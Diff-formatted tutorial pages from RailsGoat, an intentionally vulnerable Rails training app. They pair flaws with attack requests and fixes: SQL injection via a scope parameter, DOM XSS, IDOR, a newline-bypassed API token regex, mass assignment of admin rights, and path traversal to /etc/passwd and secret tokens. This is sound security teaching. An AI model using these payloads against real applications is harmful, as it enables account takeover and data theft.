user.skip_user_id_assign = true user.skip_user_id_assign = true
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" }) user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
pass = params[:user][:password] pass = params[:user][:password]
@@ -136,7 +136,7 @@
</p> </p>
<pre class="ruby"> <pre class="ruby">
user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"]) user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -153,7 +153,7 @@
I wonder who else's account needs updating? I wonder who else's account needs updating?
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -1,7 +1,7 @@
<div class="widget"> <div class="widget">
<div class="widget-header"> <div class="widget-header">
<div class="title"> <div class="title">
<span class="fs1" aria-hidden="true" data-icon="&#xe092;"></span> A1 - SQL Injection - ActiveRecord Scope <span class="fs1" aria-hidden="true" data-icon="&#xe092;"></span> A1 - SQL Injection - ActiveRecord Scope
</div> </div>
</div> </div>
<div class="widget-body"> <div class="widget-body">
@@ -21,10 +21,10 @@
</p> </p>
<pre><i> <pre><i>
"Scoping allows you to specify commonly-used queries which can be referenced as <br/>method calls on the association objects or models." "Scoping allows you to specify commonly-used queries which can be referenced as <br/>method calls on the association objects or models."
</i></pre> </i></pre>
<p class="desc"> <p class="desc">
This means that we can call a scope as a method and that the scope can be used for common queries such as <i>where</i> and <i>join</i>. Developers must be careful not to interpolate or concatenate user input into these scope calls as this can lead to SQL Injection. This is a common mistake made and can have serious consequences. This means that we can call a scope as a method and that the scope can be used for common queries such as <i>where</i> and <i>join</i>. Developers must be careful not to interpolate or concatenate user input into these scope calls as this can lead to SQL Injection. This is a common mistake made and can have serious consequences.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -53,7 +53,7 @@
</pre> </pre>
<p class="desc"> <p class="desc">
Additionally, within app/controllers/admin_controller.rb: Additionally, within app/controllers/admin_controller.rb:
</p> </p>
<pre class="ruby"> <pre class="ruby">
def analytics def analytics
if params[:field].nil? if params[:field].nil?
@@ -72,7 +72,7 @@
</pre> </pre>
<p class="desc"> <p class="desc">
Within the controller we call the method <i>hits_by_ip</i>. This method is actually a scope as highlighted (above) in the Analytics model. The field object, defined within the controller, represents user-input that is intended to control the column returned by the SQL query. The field object represents the HTTP Request's parameter key. So this means we can control at least a portion of the query. Due to the fact that this input is used as an interpolated value within the query string, we have control over a larger portion of the query. Within the controller we call the method <i>hits_by_ip</i>. This method is actually a scope as highlighted (above) in the Analytics model. The field object, defined within the controller, represents user-input that is intended to control the column returned by the SQL query. The field object represents the HTTP Request's parameter key. So this means we can control at least a portion of the query. Due to the fact that this input is used as an interpolated value within the query string, we have control over a larger portion of the query.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -89,7 +89,7 @@
<p><b>SQL Injection - ATTACK</b></p> <p><b>SQL Injection - ATTACK</b></p>
<p class="desc"> <p class="desc">
Navigate to the admin analytics panel. Send a request to search by an IP. Modify the request to change the parameter key to a partial SQL statement that returns all users and their information from the database: Navigate to the admin analytics panel. Send a request to search by an IP. Modify the request to change the parameter key to a partial SQL statement that returns all users and their information from the database:
</p> </p>
<pre> <pre>
GET /admin/1/analytics?ip=127.0.0.1&field%5B*%20from%20users--%5D= HTTP/1.1 GET /admin/1/analytics?ip=127.0.0.1&field%5B*%20from%20users--%5D= HTTP/1.1
Host: railsgoat.dev Host: railsgoat.dev
@@ -100,9 +100,9 @@
Cookie:[redacted] Cookie:[redacted]
Connection: keep-alive Connection: keep-alive
</pre> </pre>
<p class="desc"> <p class="desc">
Essentially we are changing the intended SQL query from: Essentially we are changing the intended SQL query from:
</p> </p>
<pre> <pre>
SELECT <span style="background-color:yellow">UserInput</span> FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC SELECT <span style="background-color:yellow">UserInput</span> FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
</pre> </pre>
@@ -111,11 +111,11 @@
</p> </p>
<pre> <pre>
SELECT * from users-- FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC SELECT * from users-- FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
</pre> </pre>
<p><b>SQL Injection - SOLUTION</b></p> <p><b>SQL Injection - SOLUTION</b></p>
<p class="desc"> <p class="desc">
To resolve this issue, do not interpolate user-provided input into SQL queries. However, it is always a good idea to create a whitelist of acceptable values when writing any code that is intended to be powerful and very flexible but that also leverages user-input to make these potentially security-impacting decisions. Within the Analytics model, we have a method called <i>parse_field</i>: To resolve this issue, do not interpolate user-provided input into SQL queries. However, it is always a good idea to create a whitelist of acceptable values when writing any code that is intended to be powerful and very flexible but that also leverages user-input to make these potentially security-impacting decisions. Within the Analytics model, we have a method called <i>parse_field</i>:
</p> </p>
<pre class="ruby"> <pre class="ruby">
def self.parse_field(field) def self.parse_field(field)
valid_fields = ["ip_address", "referrer", "user_agent"] valid_fields = ["ip_address", "referrer", "user_agent"]
@@ -146,7 +146,7 @@
render "layouts/admin/_analytics" render "layouts/admin/_analytics"
end end
</pre> </pre>
<p class="desc"> <p class="desc">
Effectively, we've changed any malicious data provided by the user into the number '1' by leveraging the above code. Effectively, we've changed any malicious data provided by the user into the number '1' by leveraging the above code.
</p> </p>
</div> </div>
@@ -165,7 +165,7 @@
Administrative analytics functionality need further security analysis. Now might be a good time to test for SQLi. Administrative analytics functionality need further security analysis. Now might be a good time to test for SQLi.
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -42,7 +42,7 @@
} %> } %>
</pre> </pre>
<p class="desc"> <p class="desc">
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -73,13 +73,13 @@ function snippetPopup(content) \{
<p><b>Using Components with Known Vulnerabilities (DOM XSS) - ATTACK</b></p> <p><b>Using Components with Known Vulnerabilities (DOM XSS) - ATTACK</b></p>
<p class="desc"> <p class="desc">
In order to demonstrate that you can indeed perform DOM XSS through this coding error, we will use a simple alert box. This does not appear to work in Chrome, Safari, or Firefox as they first URL encoded the script portion of the url before rendering which complicates browser interpretation. IE on the other hand, true to form, is totally vulnerable. The following example assumes you are running Railsgoat on localhost, port 3000. If this is the case, open IE, paste the URL (below) into IE. In order to demonstrate that you can indeed perform DOM XSS through this coding error, we will use a simple alert box. This does not appear to work in Chrome, Safari, or Firefox as they first URL encoded the script portion of the url before rendering which complicates browser interpretation. IE on the other hand, true to form, is totally vulnerable. The following example assumes you are running Railsgoat on localhost, port 3000. If this is the case, open IE, paste the URL (below) into IE.
</p> </p>
<pre> <pre>
<%= "http://localhost:3000/tutorials/injection#</title></head><script>alert(1)</script>" %> <%= "http://localhost:3000/tutorials/injection#</title></head><script>alert(1)</script>" %>
</pre> </pre>
<p class="desc"> <p class="desc">
The portion after the pound (#) symbol will close off the title and head portions of the HTML and then allow for properly generated JavaScript to be rendered and executed. After browsing to this URL, navigate to the tutorial where code snippets are shown and click on the "pop-up" link that appears after hovering over the code snippet. This should be all that is required to demonstrate DOM-XSS. The portion after the pound (#) symbol will close off the title and head portions of the HTML and then allow for properly generated JavaScript to be rendered and executed. After browsing to this URL, navigate to the tutorial where code snippets are shown and click on the "pop-up" link that appears after hovering over the code snippet. This should be all that is required to demonstrate DOM-XSS.
</p> </p>
<p><b>Using Components with Known Vulnerabilities (DOM XSS) - SOLUTION</b></p> <p><b>Using Components with Known Vulnerabilities (DOM XSS) - SOLUTION</b></p>
<p class="desc"> <p class="desc">
Use the hoganEscape() function defined in application.js to solve this problem. For instance: Use the hoganEscape() function defined in application.js to solve this problem. For instance:
@@ -47,12 +47,12 @@
end end
end end
end end
} %> } %>
</pre> </pre>
<p class="desc"> <p class="desc">
Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema. Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -70,7 +70,7 @@
<p class="desc"> <p class="desc">
Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info. Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info.
Now change it to someone else's user ID.<br/><br/> Example - /users/2/work_info Now change it to someone else's user ID.<br/><br/> Example - /users/2/work_info
</p> </p>
<p><b>Insecure Direct Object Reference - SOLUTION</b></p> <p><b>Insecure Direct Object Reference - SOLUTION</b></p>
<p class="desc"> <p class="desc">
The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message). The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message).
@@ -78,12 +78,12 @@
<pre class="ruby"> <pre class="ruby">
def index def index
<span style="background-color:yellow">@user = current_user</span> <span style="background-color:yellow">@user = current_user</span>
if !(@user) || @user.admin if !(@user) || @user.admin
<span style="background-color:yellow">flash[:error] = "Apologies, looks like something went wrong"</span> <span style="background-color:yellow">flash[:error] = "Apologies, looks like something went wrong"</span>
redirect_to home_dashboard_index_path redirect_to home_dashboard_index_path
end end
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -41,7 +41,7 @@
</pre> </pre>
<p class="desc"> <p class="desc">
The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints. The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints.
</p> </p>
<pre class="ruby"> <pre class="ruby">
def valid_api_token def valid_api_token
authenticate_or_request_with_http_token do |token, options| authenticate_or_request_with_http_token do |token, options|
@@ -49,7 +49,7 @@
identify_user(token) identify_user(token)
end end
end end
def identify_user(token="") def identify_user(token="")
# We've had issues with URL encoding, etc. causing issues so just to be safe # We've had issues with URL encoding, etc. causing issues so just to be safe
# we will go ahead and unescape the user's token # we will go ahead and unescape the user's token
@@ -60,12 +60,12 @@
(id && hash) ? true : false (id && hash) ? true : false
<span style="background-color:yellow">check_hash(id, hash) ? true : false</span> <span style="background-color:yellow">check_hash(id, hash) ? true : false</span>
end end
def check_hash(id, hash) def check_hash(id, hash)
<span style="background-color:yellow">digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")</span> <span style="background-color:yellow">digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")</span>
hash == digest hash == digest
end end
# We had some issues with the token and url encoding... # We had some issues with the token and url encoding...
# this is an attempt to normalize the data. # this is an attempt to normalize the data.
def unescape_token(token="") def unescape_token(token="")
@@ -80,22 +80,22 @@
def extrapolate_user def extrapolate_user
<span style="background-color:yellow">@user = User.find_by_id(@clean_token.split("-").first)</span> <span style="background-color:yellow">@user = User.find_by_id(@clean_token.split("-").first)</span>
end end
</pre> </pre>
<p class="desc"> <p class="desc">
Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: <i>%0a</i>).We meant or expected for a user to enter a token such as: Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: <i>%0a</i>).We meant or expected for a user to enter a token such as:
</p> </p>
<pre> <pre>
Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737 Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
</pre> </pre>
<p class="desc"> <p class="desc">
However, the user actually enters: However, the user actually enters:
</p> </p>
<pre> <pre>
Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737 Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
</pre> </pre>
<p class="desc"> <p class="desc">
This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen (<i>"-"</i>) character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be <i>"2\n1"</i>. When performing a <i>find_by_*</i>, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user! This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen (<i>"-"</i>) character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be <i>"2\n1"</i>. When performing a <i>find_by_*</i>, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user!
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -111,7 +111,7 @@
<div class="accordion-inner"> <div class="accordion-inner">
<p><b> Broken Regular Expression ATTACK:</b></p> <p><b> Broken Regular Expression ATTACK:</b></p>
<p class="desc"> <p class="desc">
As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request <i>should</i> look like: As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request <i>should</i> look like:
</p> </p>
<pre> <pre>
GET /api/v1/users HTTP/1.1 GET /api/v1/users HTTP/1.1
@@ -120,7 +120,7 @@
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate
<span style="background-color:yellow">Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc</span> <span style="background-color:yellow">Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc</span>
Content-Length: 4 Content-Length: 4
</pre> </pre>
<p class="desc"> <p class="desc">
@@ -135,11 +135,11 @@
X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
X-Runtime: 0.008342 X-Runtime: 0.008342
Connection: close Connection: close
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com", {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com",
"first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd", "first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
"updated_at":"2014-01-23T16:17:10Z","user_id":2} "updated_at":"2014-01-23T16:17:10Z","user_id":2}
</pre> </pre>
<p class="desc"> <p class="desc">
We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate <b>being</b> and admin by prepending 1%0a: We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate <b>being</b> and admin by prepending 1%0a:
</p> </p>
@@ -150,12 +150,12 @@
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate
Authorization: Token token=<span style="background-color:yellow">1%0a</span>2-050ddd40584978fe9e82840b8b95abb98e4786dc Authorization: Token token=<span style="background-color:yellow">1%0a</span>2-050ddd40584978fe9e82840b8b95abb98e4786dc
Content-Length: 4 Content-Length: 4
</pre> </pre>
<p class="desc"> <p class="desc">
The following is a response from the application (note - we get bonus points because as an admin we can retrieve <b> EVERYONE's</b> data): The following is a response from the application (note - we get bonus points because as an admin we can retrieve <b> EVERYONE's</b> data):
</p> </p>
<pre> <pre>
HTTP/1.1 200 OK HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8 Content-Type: application/json; charset=utf-8
@@ -165,7 +165,7 @@
X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
X-Runtime: 0.009111 X-Runtime: 0.009111
Connection: close Connection: close
[{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name": [{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name":
"Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1}, "Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino", {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino",
@@ -180,7 +180,7 @@
"05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at": "05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
"2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password": "2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password":
"91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}] "91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
</pre> </pre>
<p><b> Broken Regular Expression SOLUTION:</b></p> <p><b> Broken Regular Expression SOLUTION:</b></p>
<p class="desc"> <p class="desc">
There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters. There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters.
@@ -196,7 +196,7 @@
(id && hash) ? true : false (id && hash) ? true : false
check_hash(id, hash) ? true : false check_hash(id, hash) ? true : false
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -213,7 +213,7 @@
An API token? Interested to see what calls I can make! What are the closing tags for Ruby again? An API token? Interested to see what calls I can make! What are the closing tags for Ruby again?
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -54,7 +54,7 @@
decoded = Base64.strict_decode64("#{val}") decoded = Base64.strict_decode64("#{val}")
aes.update("#{decoded}") + aes.final aes.update("#{decoded}") + aes.final
end end
</pre> </pre>
<p class="desc"> <p class="desc">
We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's <b><i>auth_token</b></i> cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.<br/><br/> We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's <b><i>auth_token</b></i> cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.<br/><br/>
Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value: Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value:
@@ -62,14 +62,14 @@
<pre class="ruby"> <pre class="ruby">
# callbacks # callbacks
before_save <span style="background-color:yellow">:encrypt_bank_account_num</span> before_save <span style="background-color:yellow">:encrypt_bank_account_num</span>
def encrypt_bank_account_num def encrypt_bank_account_num
self.bank_account_num = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.bank_account_num)</span> self.bank_account_num = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.bank_account_num)</span>
end end
</pre> </pre>
<p class="desc"> <p class="desc">
Additionally, we render that encrypted value (purposefully) when the <b><i>show</i></b> action is created within the app/controllers/pay_controller.rb file: Additionally, we render that encrypted value (purposefully) when the <b><i>show</i></b> action is created within the app/controllers/pay_controller.rb file:
</p> </p>
<pre class="ruby"> <pre class="ruby">
def show def show
respond_to do |format| respond_to do |format|
@@ -79,16 +79,16 @@
</pre> </pre>
<p class="desc"> <p class="desc">
Lastly, we re-use this same routine within the following code is used to create a user's <b><i>auth_token</b></i> cookie upon sign-up or creation (app/models/user.rb): Lastly, we re-use this same routine within the following code is used to create a user's <b><i>auth_token</b></i> cookie upon sign-up or creation (app/models/user.rb):
</p> </p>
<pre class="ruby"> <pre class="ruby">
before_create { generate_token(:auth_token) } before_create { generate_token(:auth_token) }
def generate_token(column) def generate_token(column)
begin begin
self[column] = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.user_id)</span> self[column] = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.user_id)</span>
end while User.exists?(column => self[column]) end while User.exists?(column => self[column])
end end
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -126,7 +126,7 @@
My "Remember Me" cookie looks familiar, almost like one of those values you get when you enter your bank account number. My "Remember Me" cookie looks familiar, almost like one of those values you get when you enter your bank account number.
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -45,17 +45,17 @@
</p> </p>
<p class="desc"> <p class="desc">
Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed: Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed:
</p> </p>
<pre class="ruby"> <pre class="ruby">
# Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute... # Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute...
# is true or false thanks to ActiveRecord # is true or false thanks to ActiveRecord
User.new(:email => "email@email.com", User.new(:email => "email@email.com",
:admin => "true", :admin => "true",
:password => "h4xx0r", :password => "h4xx0r",
:first_name => "Captain", :first_name => "Captain",
:last_name => "Crunch" :last_name => "Crunch"
) )
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -72,8 +72,8 @@
<p><b> Mass Assignment ATTACK:</b></p> <p><b> Mass Assignment ATTACK:</b></p>
<p class="desc"> <p class="desc">
Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this... Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this...
</p> </p>
<pre class="ruby"> <pre class="ruby">
POST /users HTTP/1.1 POST /users HTTP/1.1
Host: railsgoat.dev Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
@@ -87,12 +87,12 @@
Content-Length: 248 Content-Length: 248
utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit
</pre> </pre>
<p> <p>
...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true. ...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true.
</p> </p>
<pre class="ruby"> utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&<span style="background-color: yellow">user[admin]=true</span> <pre class="ruby"> utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&<span style="background-color: yellow">user[admin]=true</span>
</pre> </pre>
<p class="desc"> <p class="desc">
So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation. So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation.
</p> </p>
@@ -114,18 +114,18 @@
</pre> </pre>
<p class="desc"> <p class="desc">
The last thing to mention here is that this can be done either through the signup page or when you edit your account settings. The last thing to mention here is that this can be done either through the signup page or when you edit your account settings.
</p> </p>
<p><b> Mass Assignment SOLUTION:</b></p> <p><b> Mass Assignment SOLUTION:</b></p>
<p class="desc"> <p class="desc">
The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean: The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean:
</p> </p>
<pre class="ruby"> <pre class="ruby">
<span style="background-color:yellow"># Note that the admin attr has been removed </span> <span style="background-color:yellow"># Note that the admin attr has been removed </span>
<%= %q{ <%= %q{
class User < ActiveRecord::Base class User < ActiveRecord::Base
attr_accessible :email, :password, :password_confirmation, :first_name, :last_name attr_accessible :email, :password, :password_confirmation, :first_name, :last_name
} %> } %>
</pre> </pre>
</div> </div>
</div> </div>
</div> </div>
@@ -144,7 +144,7 @@
</p> </p>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -37,7 +37,7 @@
</p> </p>
<pre class="ruby"> <pre class="ruby">
def download def download
begin begin
<span style="background-color:yellow">path = Rails.root.join('public', 'docs', params[:name])</span> <span style="background-color:yellow">path = Rails.root.join('public', 'docs', params[:name])</span>
<span style="background-color:yellow">file = params[:type].constantize.new(path)</span> <span style="background-color:yellow">file = params[:type].constantize.new(path)</span>
send_file file, :disposition => 'attachment' send_file file, :disposition => 'attachment'
@@ -48,7 +48,7 @@
</pre> </pre>
<p class="desc"> <p class="desc">
The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values. The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -65,10 +65,10 @@
<p><b> Constantize ATTACK:</b></p> <p><b> Constantize ATTACK:</b></p>
<p class="desc"> <p class="desc">
In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents. In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents.
</p> </p>
<pre class="ruby"> <pre class="ruby">
http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File
</pre> </pre>
<p> <p>
Change the name parameter to something a little more fun like: Change the name parameter to something a little more fun like:
</p> </p>
@@ -77,10 +77,10 @@
</pre> </pre>
<p class="desc"> <p class="desc">
This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.<br/><br/> Example: This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.<br/><br/> Example:
</p> </p>
<pre class="ruby"> <pre class="ruby">
../../../../../../../etc/passwd&type=File ../../../../../../../etc/passwd&type=File
</pre> </pre>
<p><b> Constantize SOLUTION:</b></p> <p><b> Constantize SOLUTION:</b></p>
<p class="desc"> <p class="desc">
In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows: In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows:
@@ -89,14 +89,14 @@
# More secure version # More secure version
def download def download
<span style="background-color:yellow">file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}</span> <span style="background-color:yellow">file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}</span>
begin begin
<span style="background-color:yellow">if file_assoc.has_key?(params[:name].to_s)</span> <span style="background-color:yellow">if file_assoc.has_key?(params[:name].to_s)</span>
path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s]) path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s])
<span style="background-color:yellow">if params[:type] == "File"</span> <span style="background-color:yellow">if params[:type] == "File"</span>
file = params[:type].constantize.new(path) file = params[:type].constantize.new(path)
send_file file, :disposition => 'attachment' send_file file, :disposition => 'attachment'
end end
else else
file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf") file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf")
send_file file, :disposition => 'attachment' send_file file, :disposition => 'attachment'
end end
@@ -107,7 +107,7 @@
</pre> </pre>
<p class="desc"> <p class="desc">
The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned. The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned.
</p> </p>
</div> </div>
</div> </div>
</div> </div>
@@ -124,7 +124,7 @@
It can be very helpful for employees to download benefit forms. It can be very helpful for employees to download benefit forms.
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@@ -52,7 +52,7 @@
</div> </div>
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;"> <div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
<div class="accordion-inner"> <div class="accordion-inner">
The solution for this issue is quite simple. In your application.rb file set the configuration as follows. The solution for this issue is quite simple. In your application.rb file set the configuration as follows.
<pre class="ruby"> <pre class="ruby">
<%= %q{ <%= %q{
config.active_record.whitelist_attributes=true config.active_record.whitelist_attributes=true
@@ -73,7 +73,7 @@
</div> </div>
